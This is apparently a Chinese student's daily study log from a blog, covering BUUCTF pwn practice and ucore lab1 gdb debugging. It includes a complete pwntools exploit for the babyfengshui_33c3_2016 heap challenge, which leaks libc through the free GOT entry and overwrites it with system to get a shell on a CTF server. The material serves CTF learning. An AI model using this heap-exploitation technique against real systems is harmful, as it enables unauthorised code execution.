21 07 22学习总结

21.07.22学习总结

Column: July 22, 2021
Tags: learning experience

13:50-14:55: buu刷题

bjdctf_2020_router: 没必要写exp

wustctf2020_getshell: ret2text

babyfengshui_33c3_2016: 基础堆溢出, 一开始没找到溢出点, 我逆向功底好差…

16:00-16:40: 在绝望中分析ezcloud, 并且感受了一下union的作用: 类似于申请了一块内存, 但那个内存所存的变量类型是依靠程序运行情况决定的

22:00-23:00: 做完了nep某师傅出的新生赛pwn题(仨栈一堆, strcmp绕过有些忘了…)

23:10-24:00: ucore lab1的exercise2开始捣腾, 然后捣腾了好久的gdb, 发现如下:

  1. pwndbg中的类会报错
  2. gdb原来的操作界面实在太丑了
  3. peda可用, 但显示源码不方便
  4. 同时修改lab1文件夹tools/gdbinit也无法使得make debug出来的gdb变为peda, 所以就只能使用qemu-system-i386来开启后在用gdb给连上去了
  5. 在启动后的第一条指令被卡住过, 我的界面如下:
    在这里插入图片描述

可用看到执行的命令为add…但是分析一下明显不对, 因为eax为0, 若add ptr [eax]则肯定报错, 但是程序没有报错, 同时eip发生了改变, 所以看了一眼官方文档:
在这里插入图片描述

然后开动了一下猪脑才发现此时的cs设置为了0xf000, 所以真正的执行地址为0xffff0, 指令为上面的ljmp, 呜呜呜, 我好笨(这个玩意是16位! 所以要改变自己平时32位和64位的想法啦~), 之后开始执行bootblock.o是从0x07c00开始的, 因为之前在ld的时候, 有参数 -Ttext 0x7c00, 详情可man ld查看

babyfengshui_33c3_2016:

虽然我逆向功底差, 但又尼玛给的libc对不上…

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
#sh=process('./babyfengshui_33c3_2016')
sh=remote('node4.buuoj.cn', 27279)
#libc=ELF('/home/thu1e/ctf/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc.so.6')
elf=ELF('./babyfengshui_33c3_2016')
#libc=elf.libc

def Add(size, name, length, text):
    sh.recv()
    sh.sendline('0')
    sh.recv()
    sh.sendline(str(size))
    sh.recv()
    sh.sendline(name)
    sh.recv()
    sh.sendline(str(length))
    sh.recv()
    sh.sendline(text)

def Delete(idx):
    sh.recv()
    sh.sendline('1')
    sh.recv()
    sh.sendline(str(idx))

def Display(idx):
    sh.recv()
    sh.sendline('2')
    sh.recv()
    sh.sendline(str(idx))

def Update(idx, length, text):
    sh.recv()
    sh.sendline('3')
    sh.recv()
    sh.sendline(str(idx))
    sh.recv()
    sh.sendline(str(length))
    sh.recv()
    sh.sendline(text)

def stop():
    print str(proc.pidof(sh))
    pause()

def pwn():
    [Add(0x80, 'thu1e', 0x20, 'w'*4) for i in range(2)]
    Add(0x80, '/bin/sh\x00', 0x10, '/bin/sh\x00')
    Delete(0)

    Add(0x100, 'aaaa', 0x210, 'w'*0x108+p32(0x110)+p32(0x89)+'w'*0x80+p32(0)+p32(0x89)+p32(elf.got['free']))
    Display(1)
    sh.recvuntil('description: ')
    free_addr=u32(sh.recv(4))
    log.success('free addr: '+hex(free_addr))
    libc=LibcSearcher('free', free_addr)
    libc_base=free_addr-libc.dump('free')
    log.success('libc base:'+hex(libc_base))
    sys_addr=libc_base+libc.dump('system')
    fgets_addr=libc_base+libc.dump('fgets')
    Update(1, 8, p32(sys_addr)+p32(fgets_addr))
    Delete(2)
    #stop()
    sh.interactive()

pwn()

明日目标:

ucore的lab1争取做完

看些内核pwn

继续buu

今日困惑:

  1. 话说…32/64位下, 段寄存器有啥用啊(
  2. ezcloud是webpwn, 所以我先跑了, 暑假结束再做吧…基础知识还不够

猜你喜欢

转载自blog.csdn.net/eeeeeight/article/details/119015013